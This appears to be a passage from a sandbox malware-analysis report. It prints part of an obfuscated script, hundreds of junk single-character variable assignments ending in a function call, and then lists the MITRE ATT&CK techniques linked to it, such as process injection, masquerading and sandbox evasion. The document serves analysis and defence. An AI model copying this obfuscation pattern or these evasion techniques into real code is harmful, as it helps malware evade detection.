610	yhfcn = "D";
611	yhfcn = "d";
612	yhfcn = "u";
613	yhfcn = "U";
614	yhfcn = "T";
615	yhfcn = "o";
616	yhfcn = "W";
617	yhfcn = "s";
618	yhfcn = "E";
619	yhfcn = "l";
620	yhfcn = "O";
621	yhfcn = "K";
622	yhfcn = "W";
623	yhfcn = "b";
624	yhfcn = "e";
625	yhfcn = "I";
626	yhfcn = "m";
627	yhfcn = "n";
628	yhfcn = "h";
629	airulzed = "J";
630	airulzed = "I";
631	airulzed = "s";
632	airulzed = "R";
633	airulzed = "b";
634	airulzed = "A";
635	airulzed = "C";
636	airulzed = "W";
637	airulzed = "N";
638	airulzed = "E";
639	airulzed = "x";
640	airulzed = "U";
641	airulzed = "Y";
642	airulzed = "k";
643	airulzed = "J";
644	airulzed = "P";
645	airulzed = "k";
646	airulzed = "A";
647	airulzed = "a";
648	svded = "g";
649	svded = "A";
650	svded = "Z";
651	svded = "s";
652	svded = "e";
653	svded = "f";
654	svded = "e";
655	svded = "Q";
656	svded = "A";
657	svded = "U";
658	svded = "C";
659	svded = "V";
660	svded = "k";
661	svded = "c";
662	svded = "K";
663	svded = "O";
664	svded = "I";
665	svded = "L";
666	svded = "Y";
667	svded = "N";
668	svded = "I";
669	svded = "R";
670	svded = "T";
671	svded = "O";
672	svded = "r";
673	svded = "P";
674	svded = "e";
675	svded = "y";
676	svded = "i";
677	svded = "z";
678	svded = "k";
679	svded = "g";
680	svded = "i";
681	svded = "v";
682	svded = "M";
683	svded = "u";
684	svded = "a";
685	svded = "%";
686	njkyfsli = "L";
687	njkyfsli = "R";
688	njkyfsli = "R";
689	njkyfsli = "B";
690	njkyfsli = "J";
691	njkyfsli = "z";
692	njkyfsli = "d";
693	njkyfsli = "h";
694	njkyfsli = "b";
695	njkyfsli = "D";
696	njkyfsli = "D";
697	njkyfsli = "i";
698	njkyfsli = "G";
699	njkyfsli = "K";
700	njkyfsli = "d";
701	njkyfsli = "G";
702	njkyfsli = "R";
703	njkyfsli = "i";
704	woprpe = "H";
705	woprpe = "c";
706	woprpe = "J";
707	woprpe = "O";
708	woprpe = "Z";
709	woprpe = "l";
710	woprpe = "i";
711	woprpe = "H";
712	woprpe = "E";
713	woprpe = "Y";
714	woprpe = "e";
715	woprpe = "X";
716	woprpe = "z";
717	woprpe = "W";
718	woprpe = "F";
719	woprpe = "E";
720	woprpe = "w";
721	woprpe = "l";
722	woprpe = "J";
723	woprpe = "K";
724	woprpe = "y";
725	woprpe = "v";
726	woprpe = "s";
727	woprpe = "P";
728	woprpe = "q";
729	woprpe = "h";
730	woprpe = "L";
731	woprpe = "R";
732	woprpe = "Q";
733	woprpe = "J";
734	woprpe = "q";
735	woprpe = "X";
736	woprpe = "c";
737	woprpe = "m";
738	woprpe = "R";
739	woprpe = "R";
740	woprpe = "N";
741	woprpe = "V";
742	woprpe = "A";
743	woprpe = "\\";
744	rpifexkys = "p";
745	rpifexkys = "I";
746	rpifexkys = "V";
747	rpifexkys = "u";
748	rpifexkys = "U";
749	rpifexkys = "U";
750	rpifexkys = "h";
751	rpifexkys = "Q";
752	rpifexkys = "P";
753	rpifexkys = "W";
754	rpifexkys = "S";
755	rpifexkys = "l";
756	rpifexkys = "Q";
757	rpifexkys = "r";
758	rpifexkys = "S";
759	rpifexkys = "p";
760	rpifexkys = "E";
761	rpifexkys = "g";
762	rpifexkys = "O";
763	rpifexkys = "y";
764	rpifexkys = "L";
765	rpifexkys = "/";
766	ahodyjgcv = "e";
767	ahodyjgcv = "S";
768	ahodyjgcv = "h";
769	ahodyjgcv = "y";
770	ahodyjgcv = "j";
771	ahodyjgcv = "f";
772	ahodyjgcv = "I";
773	ahodyjgcv = "U";
774	ahodyjgcv = "e";
775	ahodyjgcv = "z";
776	ahodyjgcv = "N";
777	ahodyjgcv = "n";
778	ahodyjgcv = "x";
779	ahodyjgcv = "G";
780	ahodyjgcv = "P";
781	ahodyjgcv = "E";
782	ahodyjgcv = "u";
783	ahodyjgcv = "R";
784	ahodyjgcv = "A";
785	ahodyjgcv = "K";
786	ycouewg = "c";
787	ycouewg = "c";
788	ycouewg = "U";
789	ycouewg = "P";
790	ycouewg = "A";
791	ycouewg = "f";
792	ycouewg = "v";
793	ycouewg = "A";
794	ycouewg = "H";
795	ycouewg = "R";
796	ycouewg = "d";
797	ycouewg = "J";
798	ycouewg = "k";
799	ycouewg = "t";
800	ycouewg = "H";
801	eybiwvbsj = "E";
802	eybiwvbsj = "x";
803	eybiwvbsj = "t";
804	eybiwvbsj = "h";
805	eybiwvbsj = "k";
806	eybiwvbsj = "C";
807	eybiwvbsj = "x";
808	eybiwvbsj = "E";
809	eybiwvbsj = "p";
810	eybiwvbsj = "j";
811	eybiwvbsj = "s";
812	eybiwvbsj = "c";
813	eybiwvbsj = "e";
814	eybiwvbsj = "y";
815	eybiwvbsj = "H";
816	eybiwvbsj = "m";
817	eybiwvbsj = "h";
818	eybiwvbsj = "f";
819	eybiwvbsj = "Z";
820	eybiwvbsj = "c";
821	eybiwvbsj = "X";
822	eybiwvbsj = "F";
823	eybiwvbsj = "M";
824	eybiwvbsj = "K";
825	eybiwvbsj = "f";
826	zyqvkzpvw = "S";
827	zyqvkzpvw = "r";
828	zyqvkzpvw = "c";
829	zyqvkzpvw = "y";
830	zyqvkzpvw = "T";
831	zyqvkzpvw = "q";
832	zyqvkzpvw = "h";
833	zyqvkzpvw = "S";
834	zyqvkzpvw = "I";
835	zyqvkzpvw = "e";
836	zyqvkzpvw = "n";
837	zyqvkzpvw = "H";
838	zyqvkzpvw = "x";
839	zyqvkzpvw = "e";
840	zyqvkzpvw = "X";
841	zyqvkzpvw = "q";
842	zyqvkzpvw = "X";
843	zyqvkzpvw = "W";
844	zyqvkzpvw = "W";
845	zyqvkzpvw = "M";
846	zyqvkzpvw = "P";
847	zyqvkzpvw = "d";
848	zyqvkzpvw = "T";
849	zyqvkzpvw = "f";
850	zyqvkzpvw = "q";
851	zyqvkzpvw = "I";
852	zyqvkzpvw = "a";
853	zyqvkzpvw = "I";
854	zyqvkzpvw = "y";
855	zyqvkzpvw = "N";
856	zyqvkzpvw = "Y";
857	zyqvkzpvw = "l";
858	zyqvkzpvw = "l";
859	zyqvkzpvw = "h";
860	zyqvkzpvw = "l";
861	zyqvkzpvw = "Q";
862	zyqvkzpvw = "L";
863	zyqvkzpvw = "m";
864	zyqvkzpvw = "E";
865	pkxkkemqc = "R";
866	pkxkkemqc = "Y";
867	pkxkkemqc = "v";
868	pkxkkemqc = "u";
869	pkxkkemqc = "W";
870	jfbbvzbfi = "u";
871	jfbbvzbfi = "r";
872	jfbbvzbfi = "V";
873	jfbbvzbfi = "E";
874	jfbbvzbfi = "Q";
875	jfbbvzbfi = "C";
876	jfbbvzbfi = "e";
877	jfbbvzbfi = "x";
878	jfbbvzbfi = "n";
879	jfbbvzbfi = "j";
880	jfbbvzbfi = "D";
881	jfbbvzbfi = "H";
882	jfbbvzbfi = "h";
883	jfbbvzbfi = "U";
884	jfbbvzbfi = "O";
885	jfbbvzbfi = "E";
886	jfbbvzbfi = "P";
887	jfbbvzbfi = "e";
888	jfbbvzbfi = "S";
889	jfbbvzbfi = "A";
890	jfbbvzbfi = "m";
891	jfbbvzbfi = "S";
892	jfbbvzbfi = "f";
893	jfbbvzbfi = "o";
894	jfbbvzbfi = "A";
895	jfbbvzbfi = "K";
896	jfbbvzbfi = "z";
897	jfbbvzbfi = "I";
898	jfbbvzbfi = "j";
899	jfbbvzbfi = "q";
900	jfbbvzbfi = "G";
901	jfbbvzbfi = "B";
902	jfbbvzbfi = "p";
903	iibwzg = "I";
904	iibwzg = "y";
905	iibwzg = "K";
906	iibwzg = "j";
907	iibwzg = "s";
908	iibwzg = "v";
909	iibwzg = "r";
910	iibwzg = "U";
911	evwpc = "V";
912	evwpc = "n";
913	evwpc = "D";
914	evwpc = "M";
915	evwpc = "q";
916	evwpc = "R";
917	evwpc = "w";
918	evwpc = "H";
919	evwpc = "G";
920	evwpc = "Q";
921	evwpc = "X";
922	evwpc = "y";
923	evwpc = "H";
924	evwpc = "n";
925	evwpc = "I";
926	evwpc = "R";
927	evwpc = "I";
928	evwpc = "y";
929	evwpc = "j";
930	evwpc = "c";
931	evwpc = "t";
932	evwpc = "G";
933	evwpc = "E";
934	evwpc = "w";
935	evwpc = "U";
936	evwpc = ":";
937	yenfgjqe = "l";
938	yenfgjqe = "h";
939	yenfgjqe = "p";
940	yenfgjqe = "W";
941	yenfgjqe = "F";
942	yenfgjqe = "s";
943	yenfgjqe = "D";
944	yenfgjqe = "n";
945	yenfgjqe = "k";
946	yenfgjqe = "c";
947	yenfgjqe = "P";
948	yenfgjqe = "w";
949	yenfgjqe = "Y";
950	yenfgjqe = "J";
951	yenfgjqe = "Z";
952	yenfgjqe = "H";
953	yenfgjqe = "W";
954	yenfgjqe = "x";
955	yenfgjqe = "r";
956	yenfgjqe = "A";
957	yenfgjqe = "x";
958	yenfgjqe = "N";
959	yenfgjqe = "g";
960	yenfgjqe = "B";
961	yenfgjqe = "M";
962	yenfgjqe = "U";
963	yenfgjqe = "l";
964	yenfgjqe = "4";
965	fnwts = "Q";
966	xbnnkznc = "e";
967	xbnnkznc = "U";
968	xbnnkznc = "a";
969	xbnnkznc = "k";
970	xbnnkznc = "K";
971	xbnnkznc = "z";
972	xbnnkznc = "X";
973	xbnnkznc = "u";
974	xbnnkznc = "F";
975	xbnnkznc = "S";
976	xbnnkznc = "Y";
977	xbnnkznc = "g";
978	xbnnkznc = "L";
979	xbnnkznc = "f";
980	xbnnkznc = "p";
981	xbnnkznc = "w";
982	xbnnkznc = "d";
983	xbnnkznc = "u";
984	xbnnkznc = "H";
985	xbnnkznc = "F";
986	xbnnkznc = "h";
987	xbnnkznc = "W";
988	xbnnkznc = "R";
989	xbnnkznc = "m";
990	xbnnkznc = "O";
991	xbnnkznc = "v";
992	xbnnkznc = "z";
993	xbnnkznc = "r";
994	xbnnkznc = "S";
995	xbnnkznc = "U";
996	xbnnkznc = "G";
997	xbnnkznc = "e";
998	xbnnkznc = "x";
999	xbnnkznc = "C";
1000	xbnnkznc = "o";
1001	xbnnkznc = "r";
1002	xbnnkznc = "Q";
1003	xbnnkznc = "p";
1004	xbnnkznc = "P";
1005	xbnnkznc = "D";
1006	xbnnkznc = "W";
1007	xbnnkznc = "r";
1008	rxpnrkjpx = "n";
1009	rxpnrkjpx = "j";
1010	rxpnrkjpx = "s";
1011	rxpnrkjpx = "M";
1012	rxpnrkjpx = "T";
1013	rxpnrkjpx = "C";
1014	rxpnrkjpx = "e";
1015	rxpnrkjpx = "d";
1016	rxpnrkjpx = "N";
1017	rxpnrkjpx = "l";
1018	rxpnrkjpx = "e";
1019	rxpnrkjpx = "C";
1020	rxpnrkjpx = "g";
1021	rxpnrkjpx = "W";
1022	rxpnrkjpx = "d";
1023	rxpnrkjpx = "x";
1024	rxpnrkjpx = "L";
1025	rxpnrkjpx = "K";
1026	rxpnrkjpx = "A";
1027	rxpnrkjpx = "A";
1028	rxpnrkjpx = "m";
1029	rxpnrkjpx = "h";
1030	rxpnrkjpx = "w";
1031	rxpnrkjpx = "K";
1032	rxpnrkjpx = "g";
1033	rxpnrkjpx = "V";
1034	rxpnrkjpx = "u";
1035	rxpnrkjpx = "x";
1036	rxpnrkjpx = "P";
1037	rxpnrkjpx = "V";
1038	rxpnrkjpx = "r";
1039	rxpnrkjpx = "L";
1040	rxpnrkjpx = "H";
1041	rxpnrkjpx = "t";
1042	rxpnrkjpx = "J";
1043	rxpnrkjpx = "d";
1044	fgagmheru = "z";
1045	fgagmheru = "m";
1046	fgagmheru = "K";
1047	fgagmheru = "a";
1048	fgagmheru = "p";
1049	fgagmheru = "k";
1050	fgagmheru = "W";
1051	fgagmheru = "v";
1052	fgagmheru = "Q";
1053	fgagmheru = "t";
1054	fgagmheru = "J";
1055	fgagmheru = "X";
1056	fgagmheru = "Z";
1057	fgagmheru = "F";
1058	fgagmheru = "N";
1059	fgagmheru = "o";
1060	fgagmheru = "R";
1061	fgagmheru = "V";
1062	fgagmheru = "Q";
1063	fgagmheru = "x";
1064	fgagmheru = "s";
1065	fgagmheru = "e";
1066	fgagmheru = "B";
1067	fgagmheru = "X";
1068	fgagmheru = "r";
1069	fgagmheru = "v";
1070	fgagmheru = "i";
1071	fgagmheru = "U";
1072	fgagmheru = "j";
1073	fgagmheru = "K";
1074	fgagmheru = "N";
1075	fgagmheru = "t";
1076	fgagmheru = "e";
1077	fgagmheru = "S";
1078	fgagmheru = "x";
1079	fgagmheru = "k";
1080	exxac = "z";
1081	exxac = "u";
1082	exxac = "d";
1083	exxac = "T";
1084	exxac = "H";
1085	exxac = "m";
1086	exxac = "D";
1087	exxac = "q";
1088	exxac = "s";
1089	exxac = "M";
1090	exxac = "t";
1091	exxac = "g";
1092	exxac = "D";
1093	exxac = "b";
1094	exxac = "I";
1095	exxac = "g";
1096	exxac = "Y";
1097	exxac = "F";
1098	exxac = "v";
1099	exxac = "o";
1100	exxac = "y";
1101	exxac = "c";
1102	exxac = "P";
1103	exxac = "l";
1104	exxac = "d";
1105	exxac = "P";
1106	exxac = "T";
1107	mhtsxzcg = "q";
1108	vnzppkev = "x";
1109	vnzppkev = "b";
1110	vnzppkev = "r";
1111	vnzppkev = "r";
1112	vnzppkev = "-";
1113	ufeass = "H";
1114	ufeass = "R";
1115	ufeass = "V";
1116	ufeass = "N";
1117	ufeass = "b";
1118	ufeass = "J";
1119	ufeass = "i";
1120	ufeass = "S";
1121	ufeass = "h";
1122	ufeass = "i";
1123	ufeass = "b";
1124	ufeass = "d";
1125	ufeass = "z";
1126	ufeass = "E";
1127	ufeass = "E";
1128	ufeass = "R";
1129	ufeass = "u";
1130	ufeass = "O";
1131	ufeass = "l";
1132	ufeass = "l";
1133	ufeass = "h";
1134	ufeass = "N";
1135	ufeass = "n";
1136	ufeass = "k";
1137	ufeass = "j";
1138	ameeckie = "D";
1139	ameeckie = "X";
1140	ameeckie = "U";
1141	ameeckie = "E";
1142	ameeckie = "N";
1143	ameeckie = "w";
1144	ameeckie = "a";
1145	ameeckie = "N";
1146	ameeckie = "j";
1147	ameeckie = "P";
1148	ameeckie = "I";
1149	ameeckie = "k";
1150	ameeckie = "F";
1151	ameeckie = "T";
1152	ameeckie = "P";
1153	ameeckie = "P";
1154	ameeckie = "E";
1155	ameeckie = "i";
1156	ameeckie = "Z";
1157	ameeckie = "q";
1158	ameeckie = "C";
1159	ameeckie = "E";
1160	ameeckie = "K";
1161	ameeckie = "k";
1162	ameeckie = "M";
1163	ameeckie = "3";
1164	zxxexb = "z";
1165	zxxexb = "C";
1166	zxxexb = "g";
1167	zxxexb = "Q";
1168	zxxexb = "S";
1169	zxxexb = "r";
1170	zxxexb = "P";
1171	zxxexb = "k";
1172	zxxexb = "T";
1173	zxxexb = "I";
1174	zxxexb = "A";
1175	zxxexb = "O";
1176	zxxexb = "X";
1177	zxxexb = "J";
1178	zxxexb = "N";
1179	zxxexb = "t";
1180	zxxexb = "Q";
1181	zxxexb = "d";
1182	zxxexb = "w";
1183	zxxexb = "Z";
1184	zxxexb = "f";
1185	zxxexb = "m";
1186	zxxexb = "t";
1187	zxxexb = "a";
1188	zxxexb = "X";
1189	zxxexb = "o";
1190	zxxexb = "x";
1191	zxxexb = "X";
1192	zxxexb = "E";
1193	zxxexb = "N";
1194	zxxexb = "H";
1195	zxxexb = "A";
1196	zxxexb = "h";
1197	zxxexb = "&";
1198	utomkmp = "h";
1199	utomkmp = "A";
1200	utomkmp = "z";
1201	utomkmp = "s";
1202	utomkmp = "i";
1203	utomkmp = "G";
1204	utomkmp = "d";
1205	utomkmp = "L";
1206	utomkmp = "J";
1207	utomkmp = "e";
1208	utomkmp = "o";
1209	vbvzyt = "m";
1210	vbvzyt = "l";
1211	vbvzyt = "m";
1212	vbvzyt = "y";
1213	vbvzyt = "f";
1214	vbvzyt = "e";
1215	vbvzyt = "g";
1216	vbvzyt = "j";
1217	vbvzyt = "A";
1218	vbvzyt = "A";
1219	vbvzyt = "D";
1220	vbvzyt = "d";
1221	vbvzyt = "o";
1222	vbvzyt = "q";
1223	vbvzyt = "Z";
1224	vbvzyt = "A";
1225	vbvzyt = "y";
1226	vbvzyt = "n";
1227	vbvzyt = "Q";
1228	vbvzyt = "m";
1229	vbvzyt = "w";
1230	vbvzyt = "X";
1231	vbvzyt = "X";
1232	vbvzyt = "m";
1233	vbvzyt = "P";
1234	vbvzyt = "R";
1235	vbvzyt = "i";
1236	vbvzyt = "c";
1237	vbvzyt = "O";
1238	vbvzyt = "S";
1239	vbvzyt = "c";
1240	vbvzyt = "u";
1241	vbvzyt = "h";
1242	vbvzyt = "g";
1243	kxagljmvv = "y";
1244	kxagljmvv = "E";
1245	kxagljmvv = "d";
1246	kxagljmvv = "I";
1247	kxagljmvv = "o";
1248	kxagljmvv = "X";
1249	kxagljmvv = "n";
1250	kxagljmvv = "o";
1251	kxagljmvv = "s";
1252	kxagljmvv = "q";
1253	kxagljmvv = "o";
1254	kxagljmvv = "o";
1255	kxagljmvv = "Y";
1256	kxagljmvv = "e";
1257	kxagljmvv = "U";
1258	kxagljmvv = "j";
1259	kxagljmvv = "K";
1260	kxagljmvv = "I";
1261	kxagljmvv = "V";
1262	kxagljmvv = "a";
1263	kxagljmvv = "r";
1264	kxagljmvv = "d";
1265	kxagljmvv = "s";
1266	kxagljmvv = "c";
1267	kxagljmvv = "x";
1268	kxagljmvv = "H";
1269	kxagljmvv = "b";
1270	kxagljmvv = "@";
1271	ujcgfnn = "h";
1272	ujcgfnn = "y";
1273	ujcgfnn = "d";
1274	ujcgfnn = "a";
1275	ujcgfnn = "s";
1276	ujcgfnn = "k";
1277	ujcgfnn = "K";
1278	ujcgfnn = "F";
1279	ujcgfnn = "o";
1280	ujcgfnn = "A";
1281	ujcgfnn = "B";
1282	ujcgfnn = "i";
1283	ujcgfnn = "U";
1284	ujcgfnn = "v";
1285	ujcgfnn = "k";
1286	ujcgfnn = "X";
1287	ujcgfnn = "q";
1288	ujcgfnn = "x";
1289	ujcgfnn = "j";
1290	ujcgfnn = "W";
1291	ujcgfnn = "Z";
1292	ujcgfnn = "h";
1293	ujcgfnn = "x";
1294	ujcgfnn = "r";
1295	ujcgfnn = "O";
1296	ujcgfnn = "f";
1297	ujcgfnn = "A";
1298	ujcgfnn = "p";
1299	ujcgfnn = "p";
1300	ujcgfnn = "d";
1301	ujcgfnn = "m";
1302	ujcgfnn = "V";
1303	ujcgfnn = "s";
1304	ujcgfnn = "O";
1305	ujcgfnn = "z";
1306	ujcgfnn = "d";
1307	ujcgfnn = "Z";
1308	ujcgfnn = "g";
1309	ujcgfnn = "t";
1310	ujcgfnn = "n";
1311	ujcgfnn = "f";
1312	ujcgfnn = "7";
1313	prcevand = "t";
1314	prcevand = "L";
1315	prcevand = "d";
1316	prcevand = "e";
1317	prcevand = "A";
1318	prcevand = "V";
1319	prcevand = "G";
1320	prcevand = "W";
1321	prcevand = "W";
1322	prcevand = "S";
1323	prcevand = "J";
1324	prcevand = "a";
1325	prcevand = "Y";
1326	prcevand = "t";
1327	prcevand = "o";
1328	prcevand = "M";
1329	prcevand = "m";
1330	prcevand = "t";
1331	prcevand = "I";
1332	prcevand = "S";
1333	prcevand = "z";
1334	prcevand = "t";
1335	prcevand = "M";
1336	prcevand = "k";
1337	prcevand = "i";
1338	prcevand = "b";
1339	prcevand = "v";
1340	prcevand = "z";
1341	prcevand = "L";
1342	pttzhiid = "i";
1343	pttzhiid = "o";
1344	pttzhiid = "R";
1345	pttzhiid = "G";
1346	pttzhiid = "q";
1347	pttzhiid = "Z";
1348	pttzhiid = "R";
1349	libvxrxs = "n";
1350	libvxrxs = "t";
1351	libvxrxs = "o";
1352	libvxrxs = "g";
1353	libvxrxs = "W";
1354	libvxrxs = "s";
1355	libvxrxs = "H";
1356	libvxrxs = "X";
1357	libvxrxs = "m";
1358	libvxrxs = "p";
1359	libvxrxs = "i";
1360	libvxrxs = "l";
1361	libvxrxs = "d";
1362	libvxrxs = "P";
1363	libvxrxs = "B";
1364	libvxrxs = "K";
1365	libvxrxs = "X";
1366	libvxrxs = "X";
1367	libvxrxs = "n";
1368	libvxrxs = "h";
1369	libvxrxs = "y";
1370	libvxrxs = "F";
1371	libvxrxs = "r";
1372	libvxrxs = "y";
1373	libvxrxs = "_";
1374	gpdglgnpt = "b";
1375	gpdglgnpt = "h";
1376	gpdglgnpt = "S";
1377	gpdglgnpt = "H";
1378	gpdglgnpt = "s";
1379	gpdglgnpt = "b";
1380	gpdglgnpt = "Q";
1381	gpdglgnpt = "k";
1382	gpdglgnpt = "a";
1383	gpdglgnpt = "Q";
1384	gpdglgnpt = "u";
1385	gpdglgnpt = "X";
1386	gpdglgnpt = "z";
1387	gpdglgnpt = "m";
1388	gpdglgnpt = "N";
1389	gpdglgnpt = "D";
1390	gpdglgnpt = "r";
1391	gpdglgnpt = "G";
1392	gpdglgnpt = "X";
1393	gpdglgnpt = "f";
1394	gpdglgnpt = "m";
1395	gpdglgnpt = "s";
1396	vghtznvc = "Q";
1397	vghtznvc = "U";
1398	vghtznvc = "u";
1399	vghtznvc = "L";
1400	vghtznvc = "R";
1401	vghtznvc = "d";
1402	vghtznvc = "E";
1403	vghtznvc = "T";
1404	vghtznvc = "Q";
1405	vghtznvc = "v";
1406	vghtznvc = "n";
1407	vghtznvc = "d";
1408	vghtznvc = "y";
1409	vghtznvc = "T";
1410	vghtznvc = "A";
1411	vghtznvc = "9";
1412	nlrhlyk = "h";
1413	nlrhlyk = "P";
1414	nlrhlyk = "j";
1415	nlrhlyk = "a";
1416	nlrhlyk = "G";
1417	nlrhlyk = "Q";
1418	nlrhlyk = "e";
1419	nlrhlyk = "t";
1420	nlrhlyk = "g";
1421	nlrhlyk = "w";
1422	nlrhlyk = "W";
1423	nlrhlyk = "I";
1424	nlrhlyk = "E";
1425	nlrhlyk = "w";
1426	nlrhlyk = "n";
1427	nlrhlyk = "G";
1428	nlrhlyk = "Q";
1429	nlrhlyk = "C";
1430	nlrhlyk = "M";
1431	nlrhlyk = "U";
1432	nlrhlyk = "w";
1433	nlrhlyk = "D";
1434	nlrhlyk = "K";
1435	nlrhlyk = "U";
1436	nlrhlyk = "X";
1437	nlrhlyk = "F";
1438	nlrhlyk = "C";
1439	nlrhlyk = "R";
1440	nlrhlyk = "d";
1441	nlrhlyk = "q";
1442	nlrhlyk = "J";
1443	nlrhlyk = "i";
1444	nlrhlyk = "u";
1445	nlrhlyk = "8";
1446	fbclx = "V";
1447	fbclx = "X";
1448	fbclx = "V";
1449	fbclx = "X";
1450	fbclx = "u";
1451	fbclx = "W";
1452	fbclx = "h";
1453	fbclx = "Z";
1454	fbclx = "i";
1455	fbclx = "e";
1456	fbclx = "r";
1457	fbclx = "A";
1458	fbclx = "Z";
1459	fbclx = "U";
1460	fbclx = "x";
1461	fbclx = "G";
1462	fbclx = "A";
1463	fbclx = "K";
1464	fbclx = "r";
1465	fbclx = "Q";
1466	fbclx = "j";
1467	fbclx = "k";
1468	fbclx = "C";
1469	fbclx = "g";
1470	fbclx = "x";
1471	fbclx = "w";
1472	fbclx = "C";
1473	fbclx = "i";
1474	fbclx = "M";
1475	fbclx = "s";
1476	fbclx = "S";
1477	fbclx = "O";
1478	fbclx = "s";
1479	fbclx = "J";
1480	fbclx = "y";
1481	fbclx = "m";
1482	fbclx = "x";
1483	fbclx = "r";
1484	fbclx = "V";
1485	fbclx = "S";
1486	avtpwpt = "R";
1487	avtpwpt = "p";
1488	avtpwpt = "j";
1489	avtpwpt = "R";
1490	avtpwpt = "1";
1491	hrxfspviw ( );	hrxfspviw() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
